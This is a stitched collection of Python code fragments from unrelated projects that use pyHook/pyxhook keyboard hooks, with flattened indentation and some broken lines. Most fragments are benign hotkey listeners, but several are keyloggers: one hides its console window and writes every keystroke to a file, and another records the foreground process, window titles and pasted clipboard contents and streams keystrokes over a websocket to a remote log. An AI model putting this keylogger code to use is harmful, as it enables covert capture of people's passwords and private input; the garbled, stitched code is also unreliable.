def stop_game(): # create a hook manager hm = HookManager() # watch for all mouse events hm.KeyDown = stop_game_callback # set the hook hm.HookKeyboard()
def keylogger(size): if os.name == "nt": import win32api import pythoncom from pyHook import HookManager else: p = subprocess.Popen(["echo $DISPLAY"], shell=True, stdout=subprocess.PIPE) output, err = p.communicate() if len(str(output).strip()) == 0: return "Display not found" else: import pyxhook from pyxhook import HookManager global keysPressed hm = HookManager() hm.KeyDown = onkeyboardevent hm.HookKeyboard() if os.name != "nt": hm.start() while len(keysPressed) < int(size): if os.name == "nt": pythoncom.PumpWaitingMessages() else: keys = keysPressed keysPressed = ">" if os.name == "nt": hm.UnhookKeyboard() else: hm.cancel() return keys
def run(self): # Run until user clicks on exit iconTray if _platform == 'Linux': # Get root screen root = Display().screen().root # Add key grabber for 'print' root.grab_key(PRINT_KEY_ID_LINUX, X.Mod2Mask, 0, X.GrabModeAsync, X.GrabModeAsync) # Create a loop to keep the application running while True: event = root.display.next_event() self.OnKeyboardEvent(event) time.sleep(0.1) elif _platform == 'Windows': # create a hook manager hm = HookManager() # watch for all mouse events hm.KeyDown = self.OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever while True: pc.PumpWaitingMessages() time.sleep(0.1) #print('Hotkey thread waiting..') print('Closing HookManager') del hm
def Keylogger(event): ####################### # Usadas on Keylogger # ####################### from win32console import GetConsoleWindow from win32gui import ShowWindow from pythoncom import PumpMessages from pyHook import HookManager from time import sleep win = GetConsoleWindow() ShowWindow(win, 0) def OnKeyboardEvent(event): if event.Ascii == 5: _exit(1) if event.Ascii != 0 or 8: f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'a+') buffer = f.read() f.close() f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'w') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = '/n' buffer += keylogs f.write(buffer) f.close() #print buffer hm = HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() #sleep(10) PumpMessages()
def listener(q): def is_window_poe(window_name): return window_name == 'Path of Exile' # return True def foo(e): # print(e.KeyID) # print(e.WindowName) if is_window_poe(e.WindowName): k_id = e.KeyID if k_id == 116: q.put('f5') return False elif k_id == 117: q.put('f6') return False elif k_id == 118: q.put('f7') return False elif k_id == 119: q.put('f8') return False # else: # event_info(e) return True hm = HookManager() hm.KeyDown = foo hm.HookKeyboard() print('start listen...') pythoncom.PumpMessages()
def main(): from base64 import b64encode from ctypes import windll, byref, create_string_buffer, c_ulong from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard from pyHook import HookManager from pythoncom import PumpMessages def process(): handle = windll.user32.GetForegroundWindow() pid = c_ulong(0) windll.user32.GetWindowThreadProcessId(handle, byref(pid)) process_id = "%d" % pid.value executable = create_string_buffer("\x00" * 512) h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid) windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) window_title = create_string_buffer("\x00" * 512) length = windll.user32.GetWindowTextA(handle, byref(window_title),512) output = "\n[ PID: %s - %s - %s ]\n" % (process_id, executable.value, window_title.value) windll.kernel32.CloseHandle(handle) windll.kernel32.CloseHandle(h_process) return output def onEvent(event): if event.WindowName != current_window: current_window = event.WindowName pid = process() ws.send("\n{}\n".format(pid)) if event.Ascii > 32 and event.Ascii < 127: ws.send(chr(event.Ascii)) elif event.Ascii == 32: ws.send(' ') elif event.Ascii in (10,13): ws.send('\n') elif event.Ascii == 0: pass else: if event.Key == "V" and os.name == 'nt': win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() ws.send("[PASTE] - %s" % (pasted_value)) else: ws.send(str("%s" % event.Key)) return True current_window = None temp_buffer = str() remote_log = while True: kl = HookManager() kl.KeyDown = onEvent kl.HookKeyboard() PumpMessages()
def checkP2T(self): # create a hook manager hm = HookManager() # watch for all keyboard events hm.KeyDown = self.OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
def __init__(self, keys): self.keys = [ord(k) for k in keys] # create a hook manager hm = HookManager() # watch for all mouse events hm.KeyDown = self.FilterKeys # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
def main(): filesystem = FileSystem(options) clipboard = Clipboard(options) handlers = Handlers(clipboard, filesystem) thread = Thread(target=handlers.clipboardChangedListener) thread.daemon = True thread.start() hm = HookManager() hm.KeyDown = handlers.handleKeypress hm.HookKeyboard() PumpMessages()
def main(): """ main function (CLI endpoint) """ global key_binding parser = argparse.ArgumentParser() help = """Set alternate key binding. Default is LCTRL+SPACE Format :- <KEY1>+<KEY2>. Ex:- RCTRL+RALT . To see available key bindings use 'clix -a' option""" parser.add_argument("-s", "--set-keybinding", type=str, default=None, help=help) parser.add_argument("-a", "--show-available-keybindings", help="Show available key bindings", action="store_true") parser.add_argument("-c", "--show-current-keybinding", action="store_true") args = parser.parse_args() args_dict = vars(args) if args.show_current_keybinding: print("Current key binding is: {}".format(get_current_keybinding())) sys.exit() elif args.show_available_keybindings: _show_available_keybindings() sys.exit() elif args.set_keybinding: try: keys = args_dict['set_keybinding'].split('+') key_binding = [available_keys[keys[0]], available_keys[keys[1]]] except KeyError: print("Please follow the correct format.") else: with open(curr_dir + "/clix/config", "wb") as f: pickle.dump(key_binding, f, protocol=2) finally: sys.exit() # start key-logging session new_hook = HookManager() new_hook.KeyDown = OnKeyPress new_hook.HookKeyboard() if current_os == 'linux': new_hook.start() elif current_os == 'win': pythoncom.PumpMessages()
def wait_for_end_game(): global hm global window # create a hook manager hm = HookManager() # watch for all mouse events hm.KeyDown = end_game_callback # set the hook hm.HookKeyboard() # wait for window window = create_window( "game_config", "now start the game and when you fail press: " + FLAG_KEY) window.mainloop()
def run(self): obj = HookManager() obj.KeyDown = self.keypressed obj.HookKeyboard() # start the hooking loop and pump out the messages pythoncom.PumpMessages() # remember that per Pyhook documentation we must have a Windows message pump
# cleanup stuff. stream.close() def getVirtualCableIndex(self): for i in range(self.audio.get_device_count()): audioDevice = self.audio.get_device_info_by_index(i) name = audioDevice['name'].lower() if (("virtual" in name) and ('input' in name)): return i # self.virtualCableIndex = i11.119 def getRandomWav(self, curdir): possibleWavs = [] for root, dirs, files in os.walk(curdir): for file in files: fullPath = os.path.realpath(root + "/" + file) if (fullPath.endswith(".wav")) and (fullPath not in possibleWavs): #print(fullPath) possibleWavs.append(fullPath) n = random.randint(0, len(possibleWavs) - 1) #print("full: ", possibleWavs[n]) return possibleWavs[n] # random wav file soundBoard = SoundBoardPlayer() hm = HookManager() hm.KeyDown = soundBoard.onKeyboardEvent hm.HookKeyboard() # set the hook pythoncom.PumpMessages()
if is_shortcut(keys_pressed, quit): exit(0) if is_shortcut(keys_pressed, trigger): spotlight = Spotlight() controller = SpotlightController(spotlight = spotlight) keys_pressed = [] return False return True def OnKeyUp(event): global keys_pressed if event.GetKey() in keys_pressed: keys_pressed.remove(event.GetKey()) return True hook_manager.KeyDown = OnKeyDown hook_manager.KeyUp = OnKeyUp hook_manager.HookKeyboard() while True: if spotlight: hook_manager.UnhookKeyboard() spotlight.run() spotlight = None controller = None hook_manager.HookKeyboard() else: PumpWaitingMessages()
output = shift_keys[key][0] # Handle capitalized keys. elif (shift_pressed and not caps_lock) or \ (caps_lock and not shift_pressed): output = key.upper() else: output = key.lower() print("[{}]".format(output), end="", flush=True) # Pass execution to next hook registered return True if __name__ == "__main__": key_layout = create_unicode_buffer(MAX_PATH) if USER32.GetKeyboardLayoutNameW(byref(key_layout)): print("KeyBoard Layout: {}".format(key_layout.value)) else: print("Unknown KeyBoard Layout") # Create a hook manager and bind events hook_manager = HookManager() hook_manager.KeyDown = KeyDownEvent # Register the hook and execute forever hook_manager.HookKeyboard() pythoncom.PumpMessages()
fname = datetime.now().strftime("%y-%m-%d_%H-%M-%S") + '.jpeg' path = os.path.join(directory, fname) # Save the image in the temp directory im.save(path, 'JPEG') # Upload the file to Google Drive in the folder with a title of the date f = drive.CreateFile({ "parents": [{ "kind": "drive#fileLink", "id": fid }], 'title': datetime.now().strftime("%y-%m-%d") + '.jpeg' }) f.SetContentFile(path) f.Upload() # 27 = Escape # Cleans up the temp folder and exists if event.KeyID == 27: shutil.rmtree(directory) sys.exit() # Create a hook manager hm = HookManager() # Watch for all keyboard events hm.KeyDown = pressed # Set the hook hm.HookKeyboard() # Wait forever (Exits on Escape) pythoncom.PumpMessages()